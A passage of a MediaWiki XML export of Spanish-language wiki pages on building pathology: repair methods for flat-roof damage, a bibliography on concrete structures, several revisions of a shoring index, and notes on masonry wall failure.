      <origin>430165</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14608" sha1="lkykck6fv99v1704witatlrh4ppltoe" xml:space="preserve">Para la reparación de las [[Patología de la edificación/Cubiertas planas/Lesiones|lesiones]] producidas en la cubierta de un edificio en primer lugar se tienen que estudiar sus posibles [[Patología de la edificación/Cubiertas planas/Causas y mecanismos de deterioro|causas]] y eliminarlas, para acto seguido proceder a intervenir sobre el propio elemento constructivo. La reparación tiene contemplar que la acción puntual o permanente sobre los elementos estructurales causada por ella no debe comprometer la resistencia o estabilidad de estos, por lo que se tiene que estudiar si la adopción de soluciones que pasen por incrementar el peso de la cubierta es asumible por el edificio.
A continuación se han expuesto las posibles soluciones que cabe adoptar para la reparación de cubiertas planas ordenados según la lesión que hayan producido.


Índice
&lt;references/&gt;


==GRIETAS Y FISURAS==
===Grietas horizontales===
Debidas al empuje del forjado causado por la dilatación. Se puede actuar evitando la irradiación de la cubierta, mediante una protección o aislándola para que produzca menor dilatación, aunque a lo mejor suficiente para seguir agrietando el peto. Esto no es posible en la mayoría de los casos, pudiéndose adoptar las siguientes soluciones:

::* '''Regularización de la grieta''', como si se tratase de una junta de dilatación, y su posterior sellado.
::* '''Tapado de la grieta''' mediante un nuevo elemento horizontal que la proteja de la exposición exterior.

===Grietas verticales===
a) Los producidos en tramos intermedios como consecuencia de las '''dilataciones-contracciones del peto o alero''' se deben '''regularizar y tratar como junta de dilatación''', reforzando los bordes en los petos si la solución constructiva lo necesitase. En el caso de esquinas, se realizarán las operaciones anteriores por el lado menos soleado de la esquina. 
Es normal que se encuentren esquinas que se han reforzado tras la aparición de grietas, siendo esta solución mala, ya que lo que hace es rigidizar más el paramento apareciendo nuevas grietas cerca de los refuerzos.

b) Si se producen por '''movimientos elásticos de la estructura''' se debe '''independizar''' el paramento de ésta y reparar la grieta. Para ello se emplean los mismos métodos que en el caso de fachadas, debiéndose garantizar la independencia especialmente entre el peto la impermeabilización del forjado mediante baberos o zabaletas.

===Fisuras===
Ocasionadas por '''cambios de humedad''' superficial en el material. Se debe '''sanear el acabado y sustituirlo''' por uno nuevo con armadura de malla de poliéster o fibra de vidrio protegida contra los álcalis del cemento. El nuevo revoco debe ser poco poroso o se debe aplicar un sellante.

==DESGASTES Y DESPRENDIMIENTOS==
Según la intensidad con que se haya producido la '''erosión''' cabe pensar en:
::*'''Reparación'''. Cuando sea muy baja dicha erosión se podrán reparar, siempre que la lesión no afecte a la integridad de la pieza y luego se pueda proteger con endurecedores. También se puede reparar colocando un nuevo sistema de pavimentación utilizando como base las piezas desgastadas.
::*'''Sustitución'''. Si la erosión es más alta la mejor solución es sustituir total o parcialmente el conjunto de elementos afectados por unos nuevos, de características similares pero con mayor resistencia a las acciones que han provocado la erosión.

En cuanto a los '''desprendimientos''', antes de ejecutar una reparación sobre el elemento se tienen que corregir las causas que lo han provocado, generalmente humedades, grietas, fisuras u organismos. Si el problema es puntual se deberá reponer las piezas, tomando las medidas preventivas para que no se vuelvan a ocasionar lesiones como la que ha causado el desprendimiento. Si es general o se piensa que puede ser generalizable, sólo cabe la demolición y reconstrucción del elemento, teniendo en cuenta las precauciones necesarias.

==HUMEDADES==
Se enumeran a continuación dividiendo entre las que son causadas por filtraciones y las debidas a condensaciones.

===Filtración===

1.'''Rotura o perforación de la membrana impermeable'''. Lo primero que se tiene que hacer es localizarla. La reposición de la membrana se ha de producir por paños enteros, llegando hasta una limatesa o junta de dilatación para evitar que se produzcan filtraciones entre la tela nueva y la dañada, ya que no es necesario quitar ésta al servir muy bien de soporte. Si el punzonamiento se ha producido por el acceso de personas a la cubierta se debe pensar en la posibilidad de protegerla mediante algún tipo de pavimento. En este sentido no es conveniente la utilización de grava ya que facilita que se produzcan dichos punzonamientos.

2.'''Desgarro debido a variaciones térmicas'''. Se deben introducir las juntas de dilatación necesarias, practicándose en primer lugar en el tablero soporte y después en la propia membrana. No es buena solución el poner “parches” de nueva membrana por encima de la junta uniendo los dos lados, ya que acaban funcionando mal con el paso del tiempo.

3.'''Rotura en el encuentro con el paramento vertical'''. Se debe a una disposición errónea de los elementos constructivos, esto es, sin independizar la impermeabilización del paramento vertical. Se necesita rehacer de nuevo todo el borde independizándola con una zabaleta o mimbel; En el caso de que exista y a pesar de ello se halla producido la rotura, en la reparación hay que respetar dicha independencia.

4.'''Solape entre membrana y soporte'''. En este caso hay que revisar dos aspectos: 

a)El drenaje, por si estuviera obstruido causando un aumento del nivel de agua, limpiándolo en su caso e instalando alcachofas en los sumideros para evitar atascos. 

b)La ejecución del solape, por si se hubiera cometido alguno de estos errores: falta de protección superior debido a la pérdida de adherencia entre los materiales o falta de independencia con respecto al peto o paramento vertical de que se trate. Para resolverlo se ha de ejecutar un babero empotrado en el peto, si la superficie de la cubierta es poca y no necesitamos independencia, o una zabaleta, si es más grande.

5.'''En un sumidero'''. La reparación más aconsejada es la sustitución entera, ya que puede deberse a múltiples fallos y un intento de reparación parcial puede ser peor.

6.'''Ausencia de membrana'''. Se tiene que poner, bien levantando el pavimento y reponiéndolo después o utilizándolo como base.

7.'''En Aleros'''. Habrá que corregir la posición relativa de los elementos, dotando al alero de mayor vuelo o mayor inclinación o introducir un goterón en el borde. Si se trata de un alero lateral y está construido con teja curva, podemos actuar sobre la última teja, cambiándola de cobija a canal, para asegurar que no se vierte agua hacia la fachada.

8.'''En Canalón'''.

:a) Visto. Habrá que atender fundamentalmente a dos consideraciones:
::*Si se ha superado la capacidad del canalón, desbordándolo, hay que sustituirlo por uno nuevo de mayor capacidad.
::*Si se ha desprendido, produciendo pendientes contrarias a las originales, se debe, una vez comprobada la capacidad, sujetar adecuadamente intentando no incurrir en los errores que provocaron el desprendimiento:
:::::*Sujeciones débiles o muy separadas.
:::::*Sujeciones metálicas sin imprimación anticorrosiva o sin la protección para evitar el par galvánico (uniones de distintos metales).
:::::*Falta de mantenimiento, provocando acumulación de tierra que aumente el peso.

:En todo caso al repararse se ha de dejar un espacio hasta la pared de 5 cm para evitar que el agua al rebosar vaya directamente al paño de fachada, y asegurar la inclinación indicada.

:b) Oculto. La reparación irá encaminada a anular las causas indirectas que lo han provocado:
::*Asegurar un solape suficiente, de al menos 5 cm del elemento de cobertura sobre el canalón en la parte alta.
::*Asegurar la capacidad del canalón, mediante el cálculo de las superficies pluviométricas.
::*Limpieza de sumideros y bajantes e instalación de alcachofas para evitar atascos.
::*Mejorar el solape del canalón sobre la parte inferior del alero, sustituyendo las piezas necesarias, incluso todo el canalón.

9.'''En Albardilla'''. La reparación irá encaminada en alguna de las siguientes intervenciones:

::*Sellado de juntas. Cuando las piezas son muy grandes y, por retracción se han abierto las juntas.
::*Sellado de materiales porosos. Mediante productos endurecedores o selladores de resinas acrílicas o epoxídicas.
::*Sustitución de piezas enteras. Procurando que las nuevas tengan junta adecuada, inclinación y goterón en los dos lados.
::*Colocación de nueva albardilla. Generalmente de chapa, teniendo en cuenta que no produzca nuevas lesiones.
:En la imposta se han de contemplar las siguientes indicaciones:
::*Resalto de 5 cm antes de encastrarse la chapa en la pared.
::*Máxima inclinación de la protección superior.
::*Sellado del encuentro de la protección con la pared mediante material elastómero.

===Condensación===

Para que se produzca esta lesión deben confluir varios factores físicos. Esto hace importante que se estudie en profundidad la reparación a realizar, ya que alguna vez pueden parecer paradójicos, al ser por medios indirectos.

1.'''Condensación superficial interior'''. Hay dos posibilidades de actuación:

:a) '''Evitar la condensación'''. Por uno de los siguientes medios:

::a.1) Aumentar la temperatura superficial interior. Se puede recurrir a métodos activos, como calefacción, o pasivos, aumentando el coeficiente de aislamiento del cerramiento. Para ello se ha de estudiar la extensión del problema, para evitar, si se trata de que el fallo se produce por la existencia de un puente térmico no agravar el problema colocando el aislamiento ininterrumpidamente (en general por la cara exterior). Las soluciones que se pueden plantear son las siguientes:
::*Aplicación de hoja exterior de material aislante, protegiéndolo cuando sea necesario.
::*Relleno de la cámara de aire con espumas. No elimina puentes térmicos causados por la estructura, al interrumpirse por ésta.
::*Colocación de aislante en el interior. Si no supone una barrera de vapor puede seguir produciéndose condensaciones en la capa anterior mientras que si funciona como tal produce un aumento de la presión de vapor del local.

::a.2.)	Disminuir la presión de vapor interior. Se puede conseguir ventilando más el local, ya sea de forma natural o forzada. A su vez puede ser temporal, regulada por los propios usuarios o permanente, actuando sobre la estanqueidad de las ventanas. Para ello se puede aumentar la permeabilidad de las carpinterías o instalar rejillas. También se pude preparar una superficie que se pueda limpiar fácilmente para que se produzca una condensación.

2.'''Condensación intersticial'''. Nada más que cabe la posibilidad de evitar que se alcance la temperatura de rocío en ningún punto del cerramiento. Para ello se puede aumentar la temperatura general del cerramiento, aislándolo por su cara exterior, o reduciendo la presión de vapor de agua bien aumentando la ventilación del interior o bien colocando barreras de vapor en la cara interior. En el último caso hay que estudiar que la nueva situación no produzca nuevas condensaciones superficiales.

==DEFORMACIONES==

Caben dos tipos de actuación: 

::*'''Reparación'''. Si la estructura es accesible desde abajo y se ve la posibilidad de recuperación, se puede proceder a ejecutar un apeo permanente, mediante vigas que corten a las deformadas en la mitad de la luz, refuerzo de cada una, etc. Se debe tener en cuenta la revisión de la pendiente de los faldones a efectos de que la cubierta siga desaguando.

::*Sustitución. Se dará cuando los elementos estructurales no sean recuperables, procediendo a su demolición y reconstrucción. 

==EFLORESCENCIAS Y SUCIEDADES==

Para la '''reparación de eflorescencias''' se tiene que tener en cuenta que es una lesión secundaria, producida por una humedad. El primer paso es siempre la reparación de dicha causa. Una vez resuelto esto se realiza una limpieza de la fachada, estudiándose bien el método a utilizar por la posible aparición posterior de nuevas eflorescencias producidas al limpiar la fachada, debidas a la disolución de sales presentes en el paramento por el disolvente empleado. Los métodos de limpieza son:

::*Natural. Cuando la sal sea soluble, se limpiará mediante agua pulverizada a presión y con la ayuda de un cepillo. A continuación se debe asegurar el secado.
::*Química. Utilizando ácidos o bases capaces de disolver la sal. Se tienen que aplicar muy diluidos y lavar con agua después de su aplicación para evitar efectos secundarios en los elementos constructivos. Debido a estos efectos se tiene que estudiar muy bien la utilización de este método.
::*Mecánica. Cuando genera una costra insoluble. Se eliminan mediante abujardados o raspados manuales o mecánicos. Si esta acción provoca alteraciones en la superficie del material se deben aplicar selladores transpirables o endurecedores.
Después de realizar la limpieza se debe dar una protección superficial hidrofugante mediante sellados o reposición de pinturas, asegurándose de la permeabilidad al vapor de agua cuando encierra un local en uso.

Las actuaciones '''reparación de suciedades''' pasan por evitar la causa (sustitución de hilera de borde de cobijas por canales o incorporación de goterones en todos los cambios de plano de cornisas e impostas) y efectuar una limpieza, teniendo en cuenta las precauciones que ya se han indicado para las eflorescencias.

==ORGANISMOS==

Las actuaciones e reparación se orientarán a eliminar la causa ya sea mediante un mantenimiento periódico por el que se impida que se acumule tierra y basura en las esquinas y huecos y por otra parte tratando humedades que hayan podido aparecer. Para la eliminación de los organismos se procede mediante una limpieza que conllevará el uso de productos químicos (disolventes, fungicidas) que podrían causar deterioros en los elementos constructivos, para ello se han de tomar las medidas indicadas en el caso de las eflorescencias.

Al igual que antes, tras la limpieza conviene dar una protección superficial hidrofugante, además, en el caso de mohos, es indicado aplicar una pintura fungicida. 

Si la presencia de organismos ha producido lesiones secundarias, éstas se tratarán como se indica en sus apartados.

{{AutoCat}}</text>
      <sha1>lkykck6fv99v1704witatlrh4ppltoe</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Bibliografía</title>
    <ns>0</ns>
    <id>13460</id>
    <revision>
      <id>430175</id>
      <parentid>417552</parentid>
      <timestamp>2026-08-02T11:55:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430175</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1943" sha1="niv9bjkfioxqopswp24a62rfpyxoub2" xml:space="preserve">'''Carles Broto''': ENCICLOPEDIA BROTO DE PATOLOGÍAS DE LA CONSTRUCCIÓN. Barcelona 2005. Biblioteca ETSAM: 69.059 bro-enc 1-6


'''M.Fernández Cánovas''': PATOLOGÍA Y TERAPEÚTICA DEL HORMIGÓN ARMADO. Colegio de Ingenieros de Caminos, Canales y Puertos, Madrid, 1994. Biblioteca ETSAM: 691.3 FER pat	


'''Edgard B.Grunau''': LESIONES EN EL HORMIGÓN. Ceac, Barcelona, 1988. 
Biblioteca ETSAM: 691.3 GRU les


'''J. Calavera''': CALCULO, CONSTRUCCIÓN Y PATOLOGÍAS DE FORJADOS EDIFICACIÓN. Intemac. 1988 Biblioteca ETSAM: 624.012 cal cal


'''AA.VV. (1984)''': CURSO DE REHABILITACIÓN. TOMO 5. LA ESTRUCTURA. Colegio Oficial de Arquitectos; Madrid, 1984. ISBN 84-85572-70-X.


'''AA.VV. (2000):''' MANUAL DE DIAGNOSIS E INTERVENCIÓN EN ESTRUCTURAS DE HORMIGÓN ARMADO. Ed. C.A. i A.T. B., Barcelona, 2000. ISBN 84-87104-43-6.


'''AA.VV. (2006):''' ENCICLOPEDIA BROTO DE PATOLOGÍAS DE LA CONSTRUCCIÓN. ELEMENTOS CONSTRUCTIVOS II. TOMO 5. Ed. Broto y Comerma, Barcelona, 2006.


'''Fernández Gómez et. al. (2002):''' EVALUACIÓN DE LA CAPACIDAD RESISTENTE DE ESTRUCTURAS DE HORMIGÓN. ENSAYOS NO DESTRUCTIVOS Y PRUEBAS DE CARGA. Ed. INTEMAC, Madrid, 2002. ISBN 84-88764-12-X.


'''Carbonell de Masy, M. (1995):''' PROTECCIÓN Y REPARACIÓN DE ESTRUCTURAS DE HORMIGÓN. EDIFICIOS, OBRAS HIDRÁULICAS Y VIALES. Ed. Omega, S.A., Barcelona, 1996. ISBN 84-282-1066-7.


'''Abásolo, A. (1996):''' APEOS. APEOS Y GRIETAS EN LA EDIFICACIÓN. Ed. Munilla-Lería, Madrid, 1996.


'''NTE ESTRUCTURAS.''' Dirección General de Vivienda y Urbanismo 1995.


'''NTE REVESTIMIENTOS'''. Dirección General de Vivienda y Urbanismo 1995.


'''GUÍA DE APLICACIÓN DE LA INSTRUCCIÓN DE HORMIGÓN ESTRUCTURAL, EDIFICACIÓN.'''
Comisión permanente del hormigón. Ministerio de Fomento 2002.


'''Arthur H. Nilson/George Winter:''' DISEÑO DE ESTRUCTURAS DE CONCRETO. Ed. Mc Graw-Hill, 1994

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>niv9bjkfioxqopswp24a62rfpyxoub2</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Apeos</title>
    <ns>0</ns>
    <id>13465</id>
    <revision>
      <id>430088</id>
      <parentid>191291</parentid>
      <timestamp>2026-08-02T11:15:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430088</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4544" sha1="fy9m6l8ti0oj94g429fxtbyswcq5v8g" xml:space="preserve">Generalmente se consideran muros de fábrica los muros constituidos por elementos simples de forma más o menos prismática unidos por mortero formando un elemento lineal resistente.

Existen diversas formas de apear un muro en estas condiciones, dependiendo de tipo de estructura, la gravedad de los daños o las características de los forjados apoyados sobre él.   (ver [[Estructuras de fábrica]])


[[Imagen:01453_1106_15.jpg|300 px|thumb|right|Desplazamiento de apoyo de viguetas]]

*'''Apeo de vigas de forjado paralelo al muro:'''


Se trata de un caso poco común, aunque posee una gran sencillez de montaje y que en ocasiones puede facilitar el acceso al punto a reparar. 

Esto se debe principalmente a que este sistema hace que las viguetas del forjado superior cambien su punto de apoyo original en el extremo por un intermedio, manteniéndose sin embargo la carga vertical en punta de las plantas superiores. Esta situación puede causar graves daños en dichas viguetas, por lo que este sistema suele usarse sólo en casos muy excepcionales o como apeo provisional de emergencia  (ver [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]).


*'''Apeo perpendicular al muro mediante puentes de agujas:'''


Se realiza de manera similar a los puentes de agujas explicados para los muros de entramados, apeando (en caso de que exista) la carrera o viga que recorre la coronación del muro para poder liberar la parte dañada. 

En general estos sistemas suelen resultar muy efectivos y pueden realizarse en madera o con tornapuntas del sistema Soldier que resultan más económicas y en ocasiones menos agresivas para la estructura.

Para este tipo de apeos es importante subrayar la necesidad de perforar el muro en diversos puntos para poder conectar ambas caras y estabilizar el apeo, lo que en algunos casos puede resultar excesivamente agresivo para la estructura. En caso de no ser posible realizar los pasos de las agujas a través del muro, habrá que prever la colocación de más de un apeo paralelo a cada una de las caras del muro para poder estabilizar unos con otros mediante los oportunos arriostramientos.

Al igual que para los apeos de muros de entramados, en caso de apear un muro en una planta superior (caso muy poco frecuente) habrá que considerar la transmisión de cargas de los apoyos de los apeos a los forjados inferiores, por lo que conviene continuar los puntales hasta el firme.


[[Imagen:01453_1106_16.jpg|360 px|thumb|left|Solución en madera]]


*'''Apeo de muro de fachada:'''


Ver [[patología de la edificación/Apeos/Apeos de fachadas y huecos|apeos de fachadas y huecos]].


----

=CONTENIDOS=

[[Patología de la edificación/Consideraciones generales|Consideraciones generales]]

=== Clasificación según el tipo de lesión ===
#[[Patología de la edificación/Apeos/Muros con desplomes|Muros con desplomes]] 
#[[Patología de la edificación/Apeos/Muros con abombamientos|Muros con abombamientos]] 
#[[Patología de la edificación/Apeos/Muros con deslizamientos|Muros con deslizamientos]] 
#[[Patología de la edificación/Apeos/Muros con dislocaciones|Muros con dislocaciones]] 
#[[Patología de la edificación/Apeos/Apeos de deshojado de muros|Apeos de deshojado de muros]] 

=== Clasificación según el tipo de muro y situación ===
#[[Patología de la edificación/Apeos/Muros de entramados|Muros de entramados]] 
#Muros de fábrica
#[[Patología de la edificación/Apeos/Muros de contención|Muros de contención]] 
#[[Patología de la edificación/Apeos/Acodalamientos de muros medianeros|Acodalamientos de muros medianeros]]

=== Apeos de Edificación ===
;Aspectos generales sobre los apeos
* [[Patología de la edificación/Apeos/Descripción de apeo de edificación|Descripción de apeo de edificación]]

* [[Patología de la edificación/Apeos/La necesidad de apear|La necesidad de apear]]

* [[/Clasificación de apeos|Clasificación de apeos]]

* [[Patología de la edificación/Apeos/Elementos, uniones y acuerdos principales|Elementos, uniones y acuerdos principales]]

;Apeos de elementos constructivos

* [[Patología de la edificación/Apeos/Apeos de muros|Apeos de muros]]

* [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]

* [[Patología de la edificación/Apeos/Apeos de fachadas y huecos|Apeos de fachadas y huecos]]

* [[Apeos de pórticos y arquerías]]

* [[Apeos de arcos y bóvedas]]

*[[Patología de la edificación/Estructuras metálicas/Forjados/Bibliografía|Bibliografía]]

{{AutoCat}}</text>
      <sha1>fy9m6l8ti0oj94g429fxtbyswcq5v8g</sha1>
    </revision>
    <revision>
      <id>430089</id>
      <parentid>430088</parentid>
      <timestamp>2026-08-02T11:17:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Separando secciones</comment>
      <origin>430089</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1945" sha1="c6ffvhpkl76ofvxnla9qr9x7zyi3bkf" xml:space="preserve">== Definición ==
#[[Patología de la edificación/Apeos/Definición|Definición]]
#[[Patología de la edificación/Consideraciones generales|Consideraciones generales]]

=== Clasificación según el tipo de lesión ===
#[[Patología de la edificación/Apeos/Muros con desplomes|Muros con desplomes]] 
#[[Patología de la edificación/Apeos/Muros con abombamientos|Muros con abombamientos]] 
#[[Patología de la edificación/Apeos/Muros con deslizamientos|Muros con deslizamientos]] 
#[[Patología de la edificación/Apeos/Muros con dislocaciones|Muros con dislocaciones]] 
#[[Patología de la edificación/Apeos/Apeos de deshojado de muros|Apeos de deshojado de muros]] 

=== Clasificación según el tipo de muro y situación ===
#[[Patología de la edificación/Apeos/Muros de entramados|Muros de entramados]] 
#Muros de fábrica
#[[Patología de la edificación/Apeos/Muros de contención|Muros de contención]] 
#[[Patología de la edificación/Apeos/Acodalamientos de muros medianeros|Acodalamientos de muros medianeros]]

=== Apeos de Edificación ===
;Aspectos generales sobre los apeos
* [[Patología de la edificación/Apeos/Descripción de apeo de edificación|Descripción de apeo de edificación]]

* [[Patología de la edificación/Apeos/La necesidad de apear|La necesidad de apear]]

* [[/Clasificación de apeos|Clasificación de apeos]]

* [[Patología de la edificación/Apeos/Elementos, uniones y acuerdos principales|Elementos, uniones y acuerdos principales]]

;Apeos de elementos constructivos

* [[Patología de la edificación/Apeos/Apeos de muros|Apeos de muros]]

* [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]

* [[Patología de la edificación/Apeos/Apeos de fachadas y huecos|Apeos de fachadas y huecos]]

* [[Apeos de pórticos y arquerías]]

* [[Apeos de arcos y bóvedas]]

*[[Patología de la edificación/Estructuras metálicas/Forjados/Bibliografía|Bibliografía]]

{{AutoCat}}</text>
      <sha1>c6ffvhpkl76ofvxnla9qr9x7zyi3bkf</sha1>
    </revision>
    <revision>
      <id>430092</id>
      <parentid>430089</parentid>
      <timestamp>2026-08-02T11:19:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430092</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1885" sha1="1raotqvw9nqnn33rbn7akxp5d6r18g0" xml:space="preserve">;Definición
#[[Patología de la edificación/Apeos/Definición|Definición]]
#[[Patología de la edificación/Consideraciones generales|Consideraciones generales]]

;Clasificación según el tipo de lesión 
#[[Patología de la edificación/Apeos/Muros con desplomes|Muros con desplomes]] 
#[[Patología de la edificación/Apeos/Muros con abombamientos|Muros con abombamientos]] 
#[[Patología de la edificación/Apeos/Muros con deslizamientos|Muros con deslizamientos]] 
#[[Patología de la edificación/Apeos/Muros con dislocaciones|Muros con dislocaciones]] 
#[[Patología de la edificación/Apeos/Apeos de deshojado de muros|Apeos de deshojado de muros]] 

;Clasificación según el tipo de muro y situación 
#[[Patología de la edificación/Apeos/Muros de entramados|Muros de entramados]] 
#Muros de fábrica
#[[Patología de la edificación/Apeos/Muros de contención|Muros de contención]] 
#[[Patología de la edificación/Apeos/Acodalamientos de muros medianeros|Acodalamientos de muros medianeros]]

;Apeos de Edificación
* [[Patología de la edificación/Apeos/Descripción de apeo de edificación|Descripción de apeo de edificación]]

* [[Patología de la edificación/Apeos/La necesidad de apear|La necesidad de apear]]

* [[/Clasificación de apeos|Clasificación de apeos]]

* [[Patología de la edificación/Apeos/Elementos, uniones y acuerdos principales|Elementos, uniones y acuerdos principales]]

;Apeos de elementos constructivos

* [[Patología de la edificación/Apeos/Apeos de muros|Apeos de muros]]

* [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]

* [[Patología de la edificación/Apeos/Apeos de fachadas y huecos|Apeos de fachadas y huecos]]

* [[Apeos de pórticos y arquerías]]

* [[Apeos de arcos y bóvedas]]

*[[Patología de la edificación/Estructuras metálicas/Forjados/Bibliografía|Bibliografía]]

{{AutoCat}}</text>
      <sha1>1raotqvw9nqnn33rbn7akxp5d6r18g0</sha1>
    </revision>
    <revision>
      <id>430093</id>
      <parentid>430092</parentid>
      <timestamp>2026-08-02T11:19:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430093</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1908" sha1="88jlcthpdv1825c3ddh75wauor53e0l" xml:space="preserve">;Definición
#[[Patología de la edificación/Apeos/Definición|Definición]]
#[[Patología de la edificación/Consideraciones generales|Consideraciones generales]]

;Clasificación según el tipo de lesión 
#[[Patología de la edificación/Apeos/Muros con desplomes|Muros con desplomes]] 
#[[Patología de la edificación/Apeos/Muros con abombamientos|Muros con abombamientos]] 
#[[Patología de la edificación/Apeos/Muros con deslizamientos|Muros con deslizamientos]] 
#[[Patología de la edificación/Apeos/Muros con dislocaciones|Muros con dislocaciones]] 
#[[Patología de la edificación/Apeos/Apeos de deshojado de muros|Apeos de deshojado de muros]] 

;Clasificación según el tipo de muro y situación 
#[[Patología de la edificación/Apeos/Muros de entramados|Muros de entramados]] 
#Muros de fábrica
#[[Patología de la edificación/Apeos/Muros de contención|Muros de contención]] 
#[[Patología de la edificación/Apeos/Acodalamientos de muros medianeros|Acodalamientos de muros medianeros]]

;Apeos de Edificación
* [[Patología de la edificación/Apeos/Descripción de apeo de edificación|Descripción de apeo de edificación]]

* [[Patología de la edificación/Apeos/La necesidad de apear|La necesidad de apear]]

* [[/Clasificación de apeos|Clasificación de apeos]]

* [[Patología de la edificación/Apeos/Elementos, uniones y acuerdos principales|Elementos, uniones y acuerdos principales]]

;Apeos de elementos constructivos

* [[Patología de la edificación/Apeos/Apeos de muros|Apeos de muros]]

* [[Patología de la edificación/Apeos/Apeos de forjados|Apeos de forjados]]

* [[Patología de la edificación/Apeos/Apeos de fachadas y huecos|Apeos de fachadas y huecos]]

* [[Apeos de pórticos y arquerías]]

* [[Apeos de arcos y bóvedas]]

*[[Patología de la edificación/Estructuras metálicas/Forjados/Bibliografía|Bibliografía]]
&lt;noinclude&gt;
{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>88jlcthpdv1825c3ddh75wauor53e0l</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Problemática</title>
    <ns>0</ns>
    <id>13475</id>
    <revision>
      <id>430138</id>
      <parentid>96259</parentid>
      <timestamp>2026-08-02T11:47:32Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430138</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9402" sha1="cyn3vie0isgpj4c7d6gy4elwsp8rmcz" xml:space="preserve">=Propiedades constructivas:=
El sistema del edificio falla cuando fallan alguno de los componentes del sistema.
==Elementos y materiales constructivos:== 
*Albañilería:
**Se trata de piezas pequeñas
**Con muchas juntas que absorben las diferencias
**Tienen poca precisión dimensional
** lo mas importante es el aparejo
*Cantería:
**Se trata de piezas grandes (sillares)
**poseen menor numero de juntas por lo que no absorben las diferencias
**Tienen mucha precisión dimensional
**Lo mas importante es la estereotomia

Piezas que componen la obra de fabrica
*·	Piedra, o sillería.
*·	Arcilla cocida, formatos ladrillos o bloques más un mortero de unión entre piezas
- Son elementos pensados para que trabajen a compresión. Las estructuras de fábrica trabajan a presión son intrínsecamente estables mientras se mantengan coherentes. Hay que mantener la presión.
En cuanto a su resistencia mecánica podemos mencionar 2 fallos:
*1- Poca resistencia a la tracción 
- Por su propia técnica constructiva resultan unidades poco preparadas para trabajar a tracción. Puesto que la piedra es un elemento que no tiene resistencia a tracción. Y las uniones de ladrillo mortero tampoco resistirían. 
- Siendo las juntas, las líneas de máxima debilidad.
- Los morteros deben ser más deformables y algo menos resistentes que las piezas: son el elemento de sacrificio, (es mas fácil la reparación si se rompe por ahí.)
*2- Rotura bajo esfuerzos compresión es repentina y o va precedida de deformaciones importantes llamada “rotura frágil”
==Sistemas constructivos y sus relaciones externas y problemática.==
===En elementos estructurales: ===
Muros de carga
Muros de contención
En cerramientos de edificio: 
Fachadas, discontinuidades de fachada: ventanas y puertas
Elementos divisorios: Muros sin función estructural
Elemento secundarios: arcos y dinteles para salvar vanos.
====Muro:==== 
sistema que junto al pilar constituyen los apoyos del edificio. También tiene una función no estructural pero funcional, de compartimentación del espacio interno.
(1) “Se constituye por un aglomerado de materiales pétreos o cerámicos unidos por un conglomerante, yeso, o cemento. Su sección resistente depende de: cantidad de carga a trasmitir, de su altura o esbeltez, y su forma de aplicar las cargas. Todo muro está sometido a unas fuerzas transversales a la línea de acción de las cargas que tienden a desorganizarlo. ( en muros continuos este efecto de empuje horizontal se contrarresta, por lo que solo es peligroso en los extremos, pudiendo evitarlo con una construcción mas sólida o añadiendo peso”.
Elementos secundarios: estructuras de arcos y dinteles.
*Dintel: estructura que trasmite cargas por flexión (momento y esfuerzo cortante) a los apoyos esto conlleva a secciones constructivas sometidas a tracción y compresión.
Y puede provocar  Fisura por flexión del dintel.
*Arco: forma de salvar una luz con apoyos fijos y directriz curva a través de un esfuerzo inclinado llamado empuje. Cada arco se diseña para unas cargas especificas que lo mantienen comprimido. Si hay una variación de las cargas, esto ocasiona la perdida de estabilidad,. Posibilitando la aparición de fisuras en apoyos o claves. Fisuras de esfuerzo rasante.
(1) El problema del análisis  rotura de las obras de fábrica consiste en encontrar una línea de empujes, que tiene que pasar por los puntos de articulación.. El estado de colapso (inestable) de una construcción e fábrica esta caracterizado por  la formación de articulación ese numero suficiente como para convertir la estructura en mecanismo.
El material y la técnica con la que están ejecutadas las unidades constructivas condicionan el tipo de grieta o fisura que puede aparecer. 
(2 )“En el caso de las fábricas en general:
Por su sistema constructivo, el movimiento de una obra de fábrica, por cualquiera de las causas que veremos facilita la aparición de lesiones. Cabe distinguir dos tipos de grietas:
-En el elemento unitario y el mortero: produce la separación limpia de los ladrillos del mortero que los une, produciéndose por tanto una abertura de la junta constructiva superficial entre esos elementos por alguna de estas razones:
*·	Falta de adherencia suficiente entre ellos.
*·	Aparición del esfuerzo de tracción o rasante en dicha junta, superior al que es capaz de absorber.
*·	Falta de rugosidad suficiente en los mampuestos que no facilita la adherencia entre los mismos.
*·	Falta de humectación: previa al mampuesto que provoca una succión por parte de este del agua del mortero.
-Las que rompen el elemento unitario.: por cualquiera de los esfuerzos o variaciones dimensionales que pueda sufrir la unidad constructiva.  Este caso provoca el movimiento de la unidad constructiva y la consecuente rotura de la junta entre mortero y elemento.”
==Solicitaciones típicas:==
===Agresiones sobre el material===
====Agentes y mecanismos biológicos====
